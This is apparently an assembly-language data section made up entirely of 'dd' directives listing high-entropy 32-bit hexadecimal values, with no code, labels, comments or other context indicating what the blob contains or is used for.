dd 0D4043A27h, 87AFE438h, 0D9D21E63h, 0FEEB7710h, 0FCAC00A8h
dd 655DD1Ch, 9D031DCDh, 5F324080h, 6B34E0E7h, 0FA8F005Eh
dd 84DF24F7h, 0EE00CF27h, 2686DD8Eh, 1C55AABFh, 85F172A7h
dd 296D7Eh, 0A0CBDEFCh, 0CC017333h, 0DB2A4FC3h, 0A4702BA8h
dd 8722Dh, 18FE6622h, 0FC5BC68h, 6780D60Fh, 0D409C061h
dd 0CE8CCBh, 648FE9C6h, 65C08DC3h, 230083EAh, 2B9D1A95h
dd 3979ACCFh, 888716FEh, 0F09AFCA4h, 0C9F6CC80h, 7C007AFAh
dd 5C43B99h, 213D82Fh, 73D657E3h, 0BCC0DE85h, 4C3CA241h
dd 1682809Ch, 54474E9Dh, 63AD000Dh, 40CFAA37h, 1500A102h
dd 0D510E868h, 501AE0CEh, 992B04Dh, 4F8E7EB2h, 8AB85000h
dd 2B49ED55h, 982E0058h, 8721966Bh, 0CCF809FFh, 0A4804CF7h
dd 778BA0C5h, 0D2818800h, 0E05111C7h, 34E90033h, 1E373C78h
dd 4601C8D7h, 211A3ED6h, 4CD80D9Ah, 47C00E7h, 0E9D02B11h
dd 0AF0122DEh, 79180690h, 63F881ECh, 32BB0086h, 3744F6B2h
dd 72043FACh, 2061799Ch
dd 0D138BBE8h, 0B11E9201h, 7AE02B04h, 79D70101h, 35F43E12h
dd 0D4A23BC1h, 0CE9B0070h, 3B979F4Eh, 84784085h, 0E59DF39h
dd 0C0B9ECEEh, 12E7DF2h, 8207004Ch, 6CFB47E7h, 1812C58Fh
dd 0BC40DA5Fh, 0A499683Bh, 70434C66h, 61A03D00h, 0E103BFD7h
dd 5C78BE00h, 0BAC7945Eh, 0FE510002h, 0DBCA8A49h, 6700F280h
dd 1836DF35h, 86E4B5h, 0E2B2D3DCh, 81BDA11Eh, 0FAAAAD0Fh
dd 0EF05206Eh, 0ABB410h, 4BE9491Ch, 1257E578h, 0F902A874h
dd 72A12EF4h, 0FB88603Dh, 0B4B70EB3h, 3AE307D9h, 70F0CE98h
dd 0C2006F33h, 30E4F2EAh, 22744Ch, 0BC764893h, 0A0B2108Fh
dd 8F8AB93Ch, 7A18D0Ch, 9A802264h, 0BD715Eh, 30659D59h
dd 0EB2B7EC5h, 0DD2D4407h, 19505388h, 38BE9952h, 0C70A77CAh
dd 7B13E39h, 9DF7238h, 80683204h, 7EBED89Dh, 60005175h
dd 0A732E1DCh, 9E3ACFh, 0E4CB5076h, 0B6132E16h, 3CECEA00h
dd 7488AC5Ch, 6F90777h, 80FCD629h, 24912BD0h, 6DAAB900h
dd 7066C6D9h, 1D0FEA87h, 0C07CEDC4h, 55A072C7h, 5200C521h
dd 1A46DEC0h, 24209402h, 405CDC3Dh, 0A85BCE79h, 2E0755ECh
dd 0AA560929h, 0D0A03283h, 1C5BEF0h, 465E73A4h, 0EA9C1054h
dd 78B0BA40h, 9ED22326h, 91DCC00h, 3C906BFAh, 0EB802E69h
dd 6A801B0Eh, 61059F7Fh, 0FF55E37Ch, 0BFD21880h, 0EF260338h
dd 51E52593h, 4A980493h, 0AD030CC9h, 2B3E6F6Bh, 0F950FF0Ah
dd 1014B5Ah, 0E92E6E04h, 6FF15C5Dh, 0BD1A0h, 0E01EC6D3h
dd 0A6D020B9h, 0BF1FCF00h, 0EE2315FEh, 1C6900CAh, 0A06F35Ah
dd 2B00AEB2h, 58D2C42Eh, 2C94A3h, 3B088217h, 1A847E3Ah
dd 0A073D000h, 0AD7C541Bh, 50560075h, 5214BF76h, 0B5000C2Ch
dd 0B5AAB33h, 0EA73D1h, 46A5F3Ch, 658EBFEBh, 26AC3100h
dd 0F605D47Dh, 0F50E03D8h, 867B1A7Eh, 807FD0BAh, 9E02CEB9h
dd 41D0E77Fh, 0FA87EE8h, 67312815h, 0C205F1C0h, 9501AEDh
dd 0FC005284h, 62D57CC9h, 0C690A4h, 9A75B61Ch, 0D6CD45D4h
dd 27101A00h, 5EB406A8h, 0BBA91783h, 38280090h, 0DE1FD909h
dd 8EC1810Bh, 8B2821A0h, 0F3F882ECh, 359A1372h, 0BF700050h
dd 5206DEE1h, 61571002h, 4031FA70h, 44EA39h, 0B1EB6EDAh
dd 0B4CFD94Bh, 0AB4A7800h, 0D149D387h, 7B180090h, 28C8CB26h
dd 3B00D6F3h, 0CDEDF076h, 22F69Bh, 5CB71402h, 4829D279h
dd 4050176Eh, 27B81DA3h, 0D48B007Ah, 0B5674A60h, 5200EFEEh
dd 0AE227E47h, 0A2D5E0h, 6C84DE9Ah, 2F97FDC0h, 37BA7500h
dd 420D8772h, 0FBB70C20h, 9858EF1Dh, 5D1C9AB8h, 1AC01636h
dd 47D5F8CAh, 450C0093h, 0B656DDA9h, 0B20E793Dh, 0C4FFFA90h
dd 67C008E0h, 0F6D1363h, 1D05420h, 7CC0716h, 7C67A245h
dd 3E520C00h, 0B0988Bh, 3182EFC2h, 0A7952FCCh, 21396900h
dd 7B62181Ah, 1E2379B9h, 0C0C5DED0h, 924524E1h, 0E639B752h
dd 172D0098h, 73779F7h, 0D8F6694Dh, 5A612C10h, 0C91ED500h
dd 89FD5545h, 0EE2516CEh, 0C02C1F3Ch, 0B9C87DCAh, 0D1009518h
dd 7CC6EA1Ah, 3D02E0B2h, 6001D19h, 778734FEh, 0F92C4E8Ah
dd 0CC07C408h, 3A901BDFh, 0DC0B5Eh, 15E74097h, 5A9BF4AAh
dd 0DE4A6300h, 52ABAF96h, 0A967003Ch, 2099872h, 0AC0035C1h
dd 0ECFC879Ah, 1DB3BEFFh, 0C324E5BDh, 0BFA6C668h, 852E7CD8h
dd 10789400h, 886266Eh, 504A00F6h, 0D6DD847Dh, 0DE00B5C3h
dd 144063F1h, 9AE88Eh, 0AADC0DC4h, 0B769431Ch, 0CDE39F00h
dd 37803C35h, 959C039Ah, 0C4550F46h, 4BA0EAA3h, 0F93A48B6h
dd 243D9747h, 0E71A5403h, 859FB850h, 9049EA77h, 4CF5180Ch
dd 0FC67613h, 8FCA5A00h, 0AB91C21Bh, 18B400F2h, 21DB4971h
dd 0B648D85Ch, 17740139h, 6B8C270Eh, 41DD5471h, 54602B31h
dd 607D28h, 0F3E3AF87h, 434F3992h, 1738FFFEh, 219313FAh
dd 0E016951Dh, 41684C00h, 0CF582Ah, 0DDAE2EBAh, 8CCE6985h
dd 0B113000h, 0A6F57D84h, 36B800A3h, 0F8AAE697h, 761D406Dh
dd 508EDC25h, 576A8091h, 53D493Bh, 0B0E612B1h, 1DBB804Ch
dd 0A9001336h, 4DB53A1Bh, 77C26CA8h, 3949402h, 695C0354h
dd 85F330C8h, 537FD0Ah, 1700B734h, 715F0F8Dh, 2B263DB7h
dd 3F4BAF82h, 88E07A03h, 74002959h, 65EACB41h, 9898CE83h
dd 7A4230D4h, 60865910h, 434DE601h, 0EB63FA81h, 23D51883h
dd 8458647Ch, 0C7DA0898h, 22124Eh, 96BEFC3h, 4E903DCFh
dd 3E25F100h, 925459DDh, 0A8580E90h, 0C6C09834h, 0E1D1FE41h
dd 97123578h, 28C3774Ah, 0D57BF872h, 1D2E243h, 3EBF4D2Fh
dd 70199F8Dh, 0B3006D4Dh, 0EC817D27h, 247564Ah, 0A7C55B74h
dd 8C80E102h, 8BCECFA8h, 90A05425h, 0F540BCh, 0CE23979h
dd 5A60D3FEh, 8D158600h, 5BAFBAD9h, 0AB9B001Ah, 0CFDE25BCh
dd 722C6997h, 0EE0070B9h, 0A84FB3E7h, 0F77A0177h, 0A86045Bh
dd 0C3C42488h, 0DCE7200Bh, 69248096h, 38A2A13Ch, 14005B8Fh
dd 0B12AD24Dh, 0A3F403Dh, 14A3952h, 0D51BF478h, 0EA60B261h
dd 71ED00DCh, 67FD5B7Dh, 11D6E6F7h, 88989A00h, 0F3AF77h
dd 4890BED3h, 0E0DE3F7h, 8A049092h, 1CEFE48Fh, 400E88C7h
dd 0C367CD5Fh, 258E009Ch, 392A5579h, 40A064BFh, 0D1002BA3h
dd 0C9B02CBAh, 13D9448h, 0BF68CB53h, 60337D59h, 0D00C73Ch
dd 0A8E0321Ah, 4B7941h, 85C191EEh, 51E92BB3h, 0EABDCB00h
dd 0E777CF8Dh, 0AD8E2528h, 0A9A79C22h, 834BECE0h, 4480FB0Fh
dd 85CA8885h, 805E8D53h, 19265A2Ah, 0F412A901h, 5D93DA78h
dd 9850630h, 0E190FF0Fh, 0A362D880h, 9E28DB74h, 2B01F42Dh
dd 5568B07Bh, 0A640FB17h, 0B1DA1Fh, 0DEDF6179h, 0CF10600Ch
dd 0BDE6EE00h, 8FB50D92h, 1788006Ah, 3C0AAEE4h, 8B00B11Ch
dd 0C41F4C84h, 0DE0547F3h, 3F17C0F8h, 741A57FEh, 8842CA00h
dd 0B9760EC8h, 0EE020068h, 49434499h, 0B89EF885h, 0C910F901h
dd 4BEC847Ah, 1D930FF7h, 73C280h, 58923C7Bh, 6800C781h
dd 0B29E9965h, 0B52825h, 0EE1FB2Bh, 57365BE0h, 0C552F800h
dd 0FEE230E8h, 0C11E09E3h, 0A040641Dh, 50CB1C80h, 0D7A88094h
dd 1CB66845h, 0DEE4785Bh, 7280FF4Fh, 796282BBh, 0CA00381Ah
dd 0E0E7046Eh, 2E0C65h, 0E6F63198h, 0C7C2644Fh, 28AE4Dh
dd 81E003FBh, 75726C0h, 1DB3D2FAh, 0A4F21063h, 0B9007889h
dd 0BA22933h, 2A6140h, 6B60AEC4h, 3646769Fh, 0F19B7A00h
dd 0A8C68272h, 3D0B0EBFh, 0A7460448h, 31001099h, 0C663C00Dh
dd 479F1Ah, 0F93E4334h, 15C3030Ch, 613AB400h, 0C0CC21F4h
dd 0E1080BB9h, 0ABF041E5h, 0FED60200h, 1ACF6E95h, 0BE4706Ah
dd 693B242Eh, 0D74CF580h, 0CB00889Eh, 5A72EFAAh, 753A823Eh
dd 0BADF00A2h, 9B815142h, 1DE095D4h, 0F879AD01h, 0EDCEF40h
dd 54C7E0h, 150530FFh, 0BEB68BA5h, 7262E31Dh, 0EFA6140h
dd 7581F32Dh, 7ADE00E8h, 877FB59Ah, 0EB00B933h, 8AD4CBDBh
dd 3C611AE0h, 46006D51h, 0F606D059h, 4F01CFDDh, 0BB8453Dh
dd 87F8DB1Ch, 42370043h, 55572F30h, 0A5003C70h, 0EF4F58CEh
dd 0B9D22D9h, 2BA1B77Bh, 0F4B02380h, 0B00BD30h, 0ADA0B42Ah
dd 279E76h, 8F9728A8h, 206FD038h, 537D3F03h, 0C80F3185h
dd 0E1FB6ADh, 1B5B1C79h, 0AC8967A0h, 7672A330h, 61C09D78h
dd 0BA57A602h, 8AD70144h, 952072E8h, 0DD11D058h, 0AB7C841Eh
dd 7E3B1E40h, 4333D4h, 7BB957E9h, 4407D894h, 842528C5h
dd 612C7D80h, 15B31678h
dd 0ED159Eh, 7486593Fh, 3101FCA0h, 0E05AA00h, 0A21A9590h
dd 9BEAA9h, 0E7FD803Bh, 51B70882h, 0DD424Ch, 7DD3663Fh
dd 0E2AAE9h, 34C5B9A9h, 0F19EEEB3h, 1C5ED600h, 638040DDh
dd 0C4511EA1h, 49160010h, 1D01AC65h, 0E96EB300h, 9628DDBh
dd 0EC2DE48Bh, 9D323E5Bh, 84B43C14h, 7EF0952Ah, 0D526004Dh
dd 9B5C5DEFh, 0DA305FA6h, 0F89FB924h, 0E9C63A17h, 0FE254307h
dd 8D09909Ah, 3D0014C2h, 7A481D27h, 9D0447h, 3FA52FC1h
dd 0BE45AB41h, 0B80174B0h, 0DF37C615h, 0FDD0CF07h, 970E01A9h
dd 27B2A188h, 0C044D085h, 3BFEF500h, 0B7CD90DBh, 0F6AC004Fh
dd 0BA42A740h, 1851A1FDh, 0AAEDD4ECh, 0C0697239h, 19EEACBh
dd 0E814B32Bh, 0F442C187h, 94034632h, 5712C737h, 3DF4A020h
dd 41E0350h, 30F09845h, 0E4C6590h, 7902B8EEh, 9DE2E622h
dd 0E1B4E04Bh, 5CE724BAh, 20E500B0h, 0BD4AD2B0h, 1146F300h
dd 475054Dh, 0C4363D93h, 88407680h, 0C5B2A92Fh, 899A3Eh
dd 0E9EB5C50h, 98F1A4Fh, 4B955B0Ch, 2F5CB00h, 0D900B4CCh
dd 8BB1E34h, 0F72C168h, 49B88ADAh, 78285A00h, 0D2038982h
dd 0AD509C96h, 0C7C04C3Ch, 6857A800h, 0CE9F54E5h, 56ADB00h
dd 426CA3AFh, 0DA2200C6h, 0FBACE9D8h, 0A973FE73h, 0E101F173h
dd 472A65AFh, 2470E509h, 27F200ACh, 924A5B6Ch, 39016DE7h
dd 0B6BC5011h, 36F98FC4h, 2A570h, 0EF87C7D3h, 6586066Dh
dd 0DD079E0Fh, 192E009Dh, 4E2DF75h, 7999F48Bh, 8011D748h
dd 0FE5E7CC7h, 2B14A000h, 0B3FC3DF8h, 4C05EE1Fh, 0A201D789h
dd 5AF00ED5h, 0D08CF5D6h, 21003A76h, 24A47871h, 0EB2F58h
dd 46C90144h, 2B155497h, 204C3100h, 66E02506h, 60FCA2E5h
dd 0FEE7F05h, 626ADE1Eh, 0A278B380h, 0C7011A09h, 0E7353B9Fh
dd 80CC57D1h, 0F1B40314h, 21CEA03h, 0C76C7098h, 5803D098h
dd 1ED9DF90h, 650590EBh, 743400FEh, 5064E504h, 0A3001B5Eh
dd 5193D533h, 692272h, 157C8CBh, 0B4605FFDh, 1180310Eh
dd 845A41BCh, 9860D7B5h, 321200F4h, 927E3DEBh, 0A4FA6830h
dd 83E10900h, 65B33A02h, 0E07A61h, 0B8E7DE18h, 0A95A88C6h
dd 984CF103h, 887B73A6h, 1C5C341h, 49F5534Fh, 60F1F602h
dd 6702254Ah, 3754E845h, 508080D9h, 7D7E27h, 0CE40ACC3h
dd 64C657CDh, 13249C4Ch, 6B051AD0h, 44805359h, 0A37A03h
dd 0C0317E9Fh, 414C2CE6h, 0CAB13D02h, 40BAFA79h, 5A1EC28h
dd 1D8AF095h, 0E5C4470Fh, 2726701Ch, 2E036673h, 0C52850A9h
dd 0B93AD095h, 0DC4B0094h, 0BF5AFCABh, 82ECF2F7h, 888A9B00h
dd 7F9A9906h, 0E0100084h, 9146070Ch, 2F755E71h, 0A8F82C05h
dd 0BCC03C83h, 105445h, 67D505FEh, 2C57739Fh, 80752E3Fh
dd 0C1FB33FAh, 67AA55A5h, 0C0997AF9h, 14B15E2h, 4AEA100h
dd 9F2F3E7Bh, 0E75600A7h, 78753CC8h, 0C700CB31h, 79E05308h
dd 3D9E6660h, 0DA8FAC57h, 4F00E8C1h, 0C9E45C33h, 0EEB0096Fh
dd 0ECD3405Bh, 902DB1h, 0ED27E091h, 5CFC3FBh, 7AD67E00h
dd 0BE62691Dh, 24CA7560h, 0F70B0DFh, 4120106Ah, 96D65B8h
dd 0F54C9B00h, 66D4A22Ah, 6F7101F3h, 9E5F89C7h, 0F6E1E816h
dd 4D413100h, 834E554Ah, 0B345005Eh, 0B640518h, 9917E95Fh
dd 0B70093F0h, 0BE7389D8h, 0A68600C0h, 2BF45E82h, 4000FEA4h
dd 7976E1ADh, 1294E5h, 75476D96h, 0CCBF2C1Ah, 0FF5DC702h
dd 0C09320CEh, 69A563h, 0E3087571h, 0C4ADD123h, 33622C00h
dd 0F5F08446h, 0A27F0168h, 0D9852A11h, 0B279703Bh, 433CE300h
dd 4C1B603Fh, 648D0190h, 44028F14h, 0EA7EC8E5h, 6201D2FAh
dd 0C93910FDh, 887ECAAh, 0F6DA5Bh, 68661540h, 4F827600h
dd 0F7CCC422h, 0DFF4077Dh, 0D0BE6571h, 94175B0Ah, 80D0E53Ah
dd 30B132BFh, 193D8Bh, 2A407CA9h, 0CCEEB83h, 966FE600h
dd 4BBD9DF2h, 0EF0100FDh, 4C8786Bh, 0AB0085EDh, 48D463F3h
dd 143F93h, 121F26Ch, 78382232h, 1D750600h, 0DEA562BCh
dd 0E79906D1h, 10699E45h, 0DCC0F01Ch, 502B5180h, 0C36166Fh
dd 63D043DBh, 0A40F5220h, 0A732C5EFh, 8CE0209Fh, 0D7B096h
dd 4999E8D8h, 8BA0E29Dh, 0F8037507h, 22719501h, 0D6C577D1h
dd 3D3EC4h, 0D0CA1B9Ch, 54AB092Dh, 39F158h, 470CEA6Ch
dd 28EE9h, 83947815h, 8A3171E4h, 84DB1700h, 0E0A4CAB6h
dd 0F2A7095Bh, 0B2803CAFh, 53D80CC1h, 11903Ah, 0A989D9B7h
dd 3D72E294h, 0F280182Ch, 66FE0D82h, 2A00789Ah, 65B24B77h
dd 3AABD645h, 2E007BDEh, 0A8547EDh, 0FE00B968h, 0B3B298D0h
dd 4CC289A1h, 3775337h, 3CAEA793h, 7900B9E5h, 1C770965h
dd 312D75h, 0A8DEAA49h, 480AB2C3h, 7D1688A8h, 54091503h
dd 88385121h, 8AF990h, 298E611Eh, 527B45E4h, 0CE22F500h
dd 2A7A85D1h, 0E9F7801h, 7FF940CBh, 0F3307B40h, 413DE7F1h
dd 733600F8h, 322DD73Ch, 3BDA003Fh, 1A5D9D38h, 65005840h
dd 0F711117h, 1F8C3C7Ch, 0C09266BEh, 3144D3A1h, 4200C8B0h
dd 0AD69F3FDh, 1D89AE13h, 0C077A0A8h, 37DEF17Ch, 3D0063F8h
dd 2B6CDDCEh, 3DD273DBh, 0E1801483h, 0BDE9B041h, 0E1F61C3h
dd 91408877h, 992498F7h, 0EE940035h, 7C13541Ah, 7500A1A0h
dd 0F2EB8B3Ah, 103142h, 0ED8ED00Ah, 0AEEEBF8Ch, 0F984FB00h
dd 1703FF2Eh, 987F0038h, 89427E5Ch, 0FA00E7F0h, 1AE14D7Bh
dd 0E0210Ch, 9A04EC80h, 0AB7719A9h, 0DD5E300h, 25F6487h
dd 53E500C4h, 3416C3D6h, 3C00BC7Eh, 0E05486A7h, 0C2B0DAh
dd 6FBB0ADCh, 0E6A3F128h, 0D900CAB0h, 777BF46Bh, 0FA858FE0h
dd 6E10C06Ah, 674709A1h, 0E4D2B516h, 69CF7507h, 0B6BFAFF0h
dd 785D002Dh, 2670F9C7h, 9C7D0F50h, 2200BA76h, 1B44C24Eh
dd 3C6635DBh, 7100E989h, 0ABEC34D3h, 81007376h, 0A60AF85h
dd 3BB7B377h, 0C9CC1579h, 385A5430h, 0D800CF81h, 8992477Ch
dd 0E81F3120h, 0E0DB4B3Eh, 91C03C1Ah, 0B99B1A38h, 50D00A7h
dd 0B6D06F51h, 0D300F7F1h, 3B9719C5h, 0F40B94Fh, 0F921469h
dd 9C2DCFE3h, 0EC31D7B1h, 0AC0002CAh, 0E8A8FED1h, 30D4F142h
dd 6D30983Ch, 4D13EC2Ch, 3900AA74h, 0FAA95576h, 0E476DDh
dd 5410AF64h, 0B50C7BFEh, 4F435800h, 4B87C4D2h, 0A83300DDh
dd 0C885BE08h, 6902AB13h, 7058C173h, 31284016h, 0A60744Eh
dd 101CB68Ah, 44290098h, 0FFF889A2h, 6811FD00h, 4CEA9F15h
dd 39B4623Dh, 23114B48h, 995F2610h, 0CD02FE0Eh, 0B394A061h
dd 27DABBh, 0C9B8D3ACh, 0B92E5338h, 50C4A47Fh, 98481DCDh
dd 7483A000h, 3BDD339Bh, 3500A71Ah, 23B5D9ECh, 0DCEE386Ch
dd 97908500h, 4DFCE433h, 0C39F0DEh, 3502DAFh, 8F00A4DAh
dd 993C191Bh, 81FB40h, 0C40D2612h, 53A3B882h, 86D6DB02h
dd 40969559h, 0D9C87Ah, 0F3BBA055h, 44BE7EC1h, 6A0D2A00h
dd 996421AAh, 80C76025h, 6B637A69h, 0A500F57Ch, 90345CB8h
dd 0D3BB41h, 7A36F716h, 0D5519F8Dh, 0A7BE1200h, 15C322CDh
dd 44E0AAh, 0A0EAEF74h, 929D3FEBh, 0AF557000h, 1EE0D10Dh
dd 6C45137Ah, 2E8101DFh, 60D8CB20h, 0BF00D307h, 85FA2A7Bh
dd 7F037863h, 0C98600F5h, 8029D80Fh, 0B47DCDACh, 0B0FADC13h
dd 0AA1BF0h, 2B24882Ah, 6B1A1257h, 117F3E00h, 2F5ADDC3h
dd 0E2910042h, 0CAA915AEh, 320320B3h, 0D0B435BAh, 443AD876h
dd 978F1A27h, 0D8C078F9h, 64761924h, 1ED6961Ch, 0B5662F00h
dd 923DE9h, 0AFC12B17h
dd 0A474D015h, 88A038h, 31650332h, 17580F5h, 84AA0DCDh
dd 0F44E79CAh, 0D97B5C3Dh, 33001C75h, 7EDAB108h, 3D48098h
dd 7792378h, 58881A41h, 214C5EB6h, 3EBA0019h, 33E1EFF8h
dd 0F70100BEh, 735D312h, 0C0EE9643h, 9ACB870Ch, 5B2A2Bh
dd 0AC67CC8Ch, 9DBE3F03h, 39BFF806h, 0FEE40Ch, 0ED2AF396h
dd 0B0C2AB0Dh, 0B43EC6FCh, 90A8A21h, 0A10DB48Fh, 0E5F41132h
dd 97C4004Eh, 0C6DD1F9Bh, 0F6FEA2F9h, 0CE88F309h, 0F1080045h
dd 758DA13h, 3D0DD6BAh, 0F09B063h, 86006E2Ch, 61531DCEh
dd 23E14Bh, 91748D1Bh, 16DE1C9Ch, 0CD923200h, 263E0CAh
dd 0E40B0F9Eh, 0FEA0408Ah, 0B5BA1399h, 0CFD9AA00h, 4968501Ah
dd 8833000Fh, 23AD59D1h, 3814F73Ch, 0B057A2h, 8E996FDBh
dd 3E54CCh, 10B08B90h, 0B436F0C2h, 0BC58E6FCh, 256020Ch
dd 0E01883F5h, 12220462h, 0E80AAFh, 6C51C1CBh, 0B8077BC5h
dd 0F3288B02h, 8F4A150h, 7249130Eh, 0E4F101DFh, 0F089A5F7h
dd 0C81C25D0h, 21F0B110h, 19BAC74h, 0E89DE4EEh, 0F0C40EB5h
dd 3303D25Eh, 0CEBDB3C8h, 82E08076h, 7C2C1D3Fh, 9DD90BC6h
dd 10836400h, 2D032509h, 0D7D1E262h, 573000BBh, 986A6FBFh
dd 0FC00F294h, 0CC2F4092h, 3AD150Ah, 856B84DCh, 4FB887EEh
dd 6501A0AAh, 9C35CA2Ch, 0CDE4AF76h, 645005Dh, 42C7BCE7h
dd 9F035F90h, 35AE7077h, 0B618030Ch, 259AD794h, 0A87D1EE8h
dd 0A9462B00h, 0EC62967Ch, 0ABF01F83h, 0CE09C03Eh, 0E1F124C3h
dd 57E827F2h, 5D1B6300h, 797FE605h, 4B3901D8h, 0EF54DBECh
dd 7DC3DC76h, 6919C802h, 0E0026553h, 0FA48681h, 9BB9373Ch
dd 0F99F12A0h, 9007EE58h, 1B68CCEFh, 0E026C490h, 0B39E00E2h
dd 0D1F76436h, 5A3B49FAh, 22950CC1h, 0CA4200Fh, 0F2C2DA89h
dd 8C1D1098h, 0DF00F441h, 0B55DF51Fh, 0D38507EFh, 0F04EC1FFh
dd 9D578AB2h, 0F8E8D200h, 0DB314993h, 513F00DFh, 0FECABEC7h
dd 5609DCA9h, 804DD561h, 0EC193562h, 2E0B139Dh, 0F57300BCh
dd 0D822699Ch, 0EAC1E100h, 903A86D0h, 0D28800C5h, 20D52E55h
dd 76094354h, 0FC1DF75h, 0DA604014h, 953B8AAFh, 0BD1479C0h
dd 0FB42D000h, 4E121DB1h, 0F0CF5BF2h, 8B3CA995h, 0CC7D0752h
dd 20C0FFEFh, 21C7A76h, 2C67BD9Eh, 98405944h, 0CCA8ABB3h
dd 0D3039641h, 0F6F36EC7h, 218CD898h, 0C43700F9h, 4663A6FCh
dd 0B4E4801Ch, 8015563Bh, 0B7715007h, 0BE11983h, 0EA874292h
dd 735DED80h, 7A4C9F32h, 962D0061h, 18F9936Ch, 0A4690023h
dd 68435F56h, 48007359h, 1F6E0D7Ah, 0D624C2h, 0C41EE1DBh
dd 0BAF704AFh, 20F4EF26h, 41409024h, 0DDABA6h, 8FC66B83h
dd 0B266104Dh, 2A2F200Bh, 52FD80D6h, 1F5E671h, 5FADDF70h
dd 0F4981BF3h, 27179B67h, 9F091E7h, 6BA700FCh, 80BA577Ah
dd 743A4EE6h, 7FB0806Fh, 0E2E7F5D1h, 1E30FEFFh, 80D9C047h
dd 0BB294217h, 0B702489h, 8799523Bh, 941E8CE6h, 350849A0h
dd 92191E9Ah, 5DDC802Dh, 77BB4696h, 0B4BCBF0Eh, 0FB40FE3Bh
dd 8A9923D2h, 26562411h, 3E4D0140h, 0ECD7E745h, 6200D5BEh
dd 0CE50FC0Eh, 242AC38Bh, 1FD66C39h, 0B8880E7h, 0B2E5E319h
dd 9D9A5800h, 1611BE5Bh, 94630028h, 0C2EF749h, 0F21D5597h
dd 0ECC041A9h, 0B01D373h, 66F40042h, 2F15F6D6h, 38007AD5h
dd 88723C8Dh, 2FF252Ch, 0ABA704C2h, 0B8E13362h, 0B83FC4EEh
dd 26809200h, 0DCE9B3A0h, 13F000F2h, 0EC1554E2h, 6414E61Eh
dd 489CC605h, 6B7906B4h, 10BDB9h, 44183D8h, 35B8992Bh
dd 13249314h, 94F207D6h, 0B9B06EEFh, 0F0CBB370h, 0CF201287h
dd 0C2C8004Dh, 84F6147Ah, 0C6EBA701h, 31DAEF3Dh, 0DFD9C4h
dd 0D4852B40h, 68BBE40Fh, 0EFF2DB71h, 0A101BCEEh, 25BD8B66h
dd 24FB08F1h, 0C1F91h, 0FBF9FF27h, 4303A9E6h, 74A8DD8Fh
dd 6DA0CF41h, 335796Bh, 95DBC2Fh, 68E02BBDh, 0C800A593h
dd 147315CCh, 420461h, 0D0ECB9A9h, 7BB30543h, 1B49BF0Eh
dd 0AC40B2DBh, 112A890Eh, 8D1D0081h, 2279998Ch, 0FC3F19E9h
dd 809A01AAh, 0CF116BDh, 1A7D660h, 929E48BAh, 0F425C373h
dd 0B8007EF8h, 426F5505h, 26A0E38h, 5EA8E126h, 0FC656179h
dd 0BF4C92h, 0C765FFF3h, 900E1F7h, 2FB5D122h, 75FBEAh
dd 385736A3h, 0AE5066EBh, 0D9C5C60Fh, 4055AF4Bh, 88E828E2h
dd 0B65E0060h, 667A022Ch, 0FE0F76A7h, 0E4DA5B9Bh, 0A4D0FD36h
dd 71626Fh, 9D5C0250h, 0B374DB0Ch, 0EA9CFE01h, 0D5EBF61Dh
dd 2E94E4h, 0FCB242DAh, 8E49D2E6h, 6BFEC200h, 0B54E1067h
dd 0AE1009Fh, 63652270h, 3B2E35C6h, 8700DCF3h, 40D5ABD2h
dd 91DA02CBh, 1BDD3EFDh, 0FB0BDC68h, 0EA824D00h, 0EBF46A06h
dd 96EF01E9h, 0B969656Dh, 3F54D440h, 0C31DBF16h, 0BAA68401h
dd 46C91551h, 0BDE485F9h, 70060018h, 9984EFF3h, 0FC01AF65h
dd 43B3C417h, 4420E867h, 8A720024h, 0CB3E3DB6h, 0EE1DD17Eh
dd 8C3A87CCh, 90580893h, 0C9A71BC2h, 0E9C0306Ch, 8D1D78CFh
dd 2906E7EAh, 3E18B64Fh, 8000C7EBh, 55F445D6h, 0D1007D15h
dd 1E9EAABh, 0AA55C38h, 0F793054Bh, 9ED9002Ch, 6EB9B6Bh
dd 5E6D0103h, 0B8D7FBAEh, 0EB72B72h, 98CC16D1h, 193CA9Ch
dd 6BAC801Ch, 3406E841h, 2F98FC00h, 0D30E0911h, 7C2B7B19h
dd 4E3A3D73h, 406EC09Ch, 42ACD6C1h, 0A032FF2h, 6D16F984h
dd 0F10CC87Eh, 0C219004Bh, 0A3E2CF05h, 0D005B8Ah, 0CD32A41Fh
dd 1D574A64h, 0C0FD9A88h, 0A1E9B2A5h, 2A00050Fh, 66FA7E27h
dd 3A246051h, 100A6E2h, 721EA8F6h, 0FF04A54Dh, 637BF7FAh
dd 5DC400FAh, 6F270AE0h, 339B6803h, 0A0E7DAB4h, 0D9B278h
dd 9C888A3Ah, 0EA0272BFh, 3BA87F00h, 4F3DCF65h, 8D513A7Ah
dd 0EB73450Eh, 3ECC5D60h, 0FDE257E8h, 5B38358h, 0FC2E87C0h
dd 0BCFBC002h, 0C4988AF2h, 0C50D4400h, 7A5625h, 0F4CA69D1h
dd 0C322EB48h, 0F0A90E29h, 9B40F01Dh, 7A87EA90h, 779333E5h
dd 210B1808h, 0FD9B7DAAh, 96529B00h, 8A0E0692h, 0AB864C58h
dd 0F77FCC4h, 3AF16F5h, 13482860h, 0C8181CEBh, 369039C0h
dd 0FA5F15F2h, 4400E859h, 0D1702C90h, 0B619CD1Eh, 0AC0826A7h
dd 801BC180h, 0B80F1D2Ch, 0FC585102h, 6E12271h, 37B09910h
dd 0ECD6A0A9h, 4D003808h, 60FDCE73h, 0E447A3CBh, 0F8BA0027h
dd 3CBFD34Bh, 0AE0005F1h, 0F6BD687Eh, 18267C16h, 49AD883Bh
dd 0B2000AE2h, 6AB9C3Dh, 7418436Ch, 219EEF05h, 9DB28588h
dd 94CB823Ch, 0D8CBA6E0h, 3EB7A606h, 29C10Dh, 0F40F6A9Bh
dd 9EAE42C6h, 8890A455h, 60B78270h, 9C34B201h, 91050321h
dd 0B6D00C6h, 0DBBC9AB2h, 1F51C9D9h, 25CB7C01h, 0CA108080h
dd 762806D0h, 9F7700DDh, 0D1CF472Ah, 1600D8B4h, 0B80C3848h
dd 35B9260h, 35C49C54h, 7C90F9ABh, 176753B0h, 2D60227Eh
dd 288EEBh, 5BDA9380h, 52379471h, 0D000FA77h, 0F7E8E461h
dd 0FC6C639Dh, 37EAE670h, 40387BB6h, 31D08DB1h, 8F36B300h
dd 0F0BC7D9Bh, 81E7002Ah, 32508A11h, 3B1C719Ah, 0E8C8218Eh
dd 884A0C2Eh, 2D0CB148h, 5140A222h, 590963D0h, 7DB86127h
dd 0CDE6B3F3h, 31CCF900h, 64107174h, 0A02D0338h, 0E99207F4h
dd 204D1800h, 978FF0A5h, 914A2047h, 37B2CC00h, 5368EE44h
